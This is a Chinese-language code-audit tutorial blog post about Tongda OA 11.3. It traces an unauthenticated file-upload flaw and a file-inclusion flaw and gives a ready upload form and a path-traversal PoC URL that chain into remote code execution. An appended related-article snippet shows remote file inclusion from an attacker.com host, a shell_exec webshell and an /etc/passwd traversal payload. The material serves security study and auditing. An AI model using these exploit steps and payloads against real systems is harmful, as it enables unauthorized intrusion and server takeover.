0基础PHP代码审计——第四天_文件上传&文件包含

今天接着更行PHP的代码审计,今天还是挖掘和文件操作相关的。

一:环境工具准备

        PhpStorm。

        通达OA11.3版本

二:环境搭建

        下载安装程序后,直接运行安装。安装完成后会有一个控制面板。

        我们把源码在phpstorm中打开,发现是加密。我们搜索加密特征,进行解密。

        发现是zend加密,直接使用zend解密工具,完成解密后再打开,发现已经解密成功。

三:开始审计

        我们直接找到和文件有关的路径,打开看一看。

        根据代码我们这里看到了一个update方法,我们跟踪看一下。

        可以看到这里写了有过滤的一些操作,那这里应该就是文件上传的地方。

        我们看这个方法里都写了什么过滤。

        检查文件名变量 $ATTACHMENT_NAME 是否包含斜杠或反斜杠字符

        遍历文件上传数组 $_FILES,并根据条件判断获取相关的附件信息。在满足条件的情况下,将文件名、大小、错误码等存储到相应的变量中。

        下面的我们根据他代码中提示,基本就知道过滤了什么。

        upload方法看完后,我们再看文件上传的处理逻辑。

        这里变量$p接收POST方法提交的P值

        如果P为空,执行else部分,跳转到登录界面

        我们给P一个值,就能绕过登录界面。未授权访问。

        这里变量$TYPE接收POST方法提交的TYPE值

        这里变量$DEST_UID接收POST方法提交的DEST_UID值

        根据代码红框片段,我们可以知道当DEST_UID值为空,0,2的时候无效。

         给一个其他的值就可以绕过。

        第一个if检查是否至少有一个文件被上传。如果满足条件执行第二个。

        第二个if满足条件的话执行第三个。

        第三个使用urldecode对文件名字进行解码并与原始字符串长度进行比较。如果长度不相同说明文件名中包含了URL编码的字符,将解码后的结果重新赋值。

        接着使用uoload方法进行文件上传,并将返回的结果赋给 $ATTACHMENTS

   下面检查 $ATTACHMENTS是否为数组。如果不是数组,则表示文件上传失败。

        如果$_FILES小于1,则无文件上传。

        

        分析完上传处理逻辑,我们自己构造一个上传页面。

<html>
<body>
<form action="http://127.0.0.1/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
<input type="text"name="P" value=1></input>
<input type="text"name="UPLOAD_MODE" value=1></input>
<input type="text" name="DEST_UID" value=1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="submit" ></input>
</body>
</html>

        这里我们文件上传成功,但是不知道路径。

        我们使用文件监控脚本,看看文件上传到哪里了。将监控脚本放在根目录运行,然后重新上传。

        通过文件监控脚本,我们找到了上传的位置。

        

        文件是上传上去了,但是我们执行不了里面的php代码,我们尝试用文件包含去执行,文件包含会把执行里面的PHP代码。

        我们全局搜include_once,找到可控变量的地方。路径为ispirit\interface\gateway.php

        首先检查$url是否为空,然后接着往下执行,第二个if中如果变量$url包含其中任意一个子字符串,则执行包含操作,文件路径由$url来控制。

       

        因此我们构造poc。

/ispirit/interface/gateway.php?json={}&url=/general/../../attach/im/2312/1112568663.123.png

        post提交命令,成功执行。

最后:

遇见你之前,不知道什么叫喜欢,遇见你之后,不知道什么叫喜欢。

        

  • 15
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
远程文件包含(Remote File Inclusion,RFI)和服务器端文件包含(Server Side Include,SSI)是常见的Web应用程序漏洞,攻击者通过利用这些漏洞可以获取网站服务器上的敏感信息,甚至控制整个服务器。下面我来介绍一下这两种漏洞。 一、远程文件包含 远程文件包含是指攻击者通过Web应用程序加载远程托管的文件,这些文件可能包含恶意代码,攻击者可以利用这些代码执行各种攻击,例如窃取敏感信息、控制服务器等。 攻击者通常会在URL中注入恶意代码,例如: ``` http://www.example.com/index.php?page=http://www.attacker.com/evil.txt ``` 这个URL中的参数page就是攻击者注入的恶意代码,如果应用程序没有对该参数进行过滤,就会直接加载远程的evil.txt文件,并执行其中的代码。攻击者可以在evil.txt中写入任意的PHP代码,例如: ``` <?php echo shell_exec($_GET['cmd']); ?> ``` 这段代码会执行用户传入的cmd参数,并将结果输出,攻击者可以通过以下URL执行任意的系统命令: ``` http://www.example.com/index.php?page=http://www.attacker.com/evil.txt&cmd=ls%20-la ``` 二、服务器端文件包含 服务器端文件包含是指Web应用程序在处理动态内容时,将用户输入作为文件名或路径名进行处理,攻击者可以利用这个漏洞访问其他文件中的代码,例如配置文件、用户数据等。 攻击者通常会在URL中注入恶意代码,例如: ``` http://www.example.com/index.php?page=../../../etc/passwd ``` 这个URL中的参数page就是攻击者注入的恶意代码,如果应用程序没有对该参数进行过滤,就会直接加载/etc/passwd文件,并将其中的内容输出到页面上,攻击者可以通过这种方式获取敏感信息。 总结 要防止远程文件包含和服务器端文件包含漏洞,应该对所有用户输入进行过滤和验证,避免用户输入作为文件名或路径名进行处理。应用程序应该使用白名单机制,仅允许访问特定目录下的文件,而不是允许任意文件的访问。此外,应用程序应该启用PHP的安全模式,禁止执行外部命令、禁止访问网络等操作,以提高安全性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值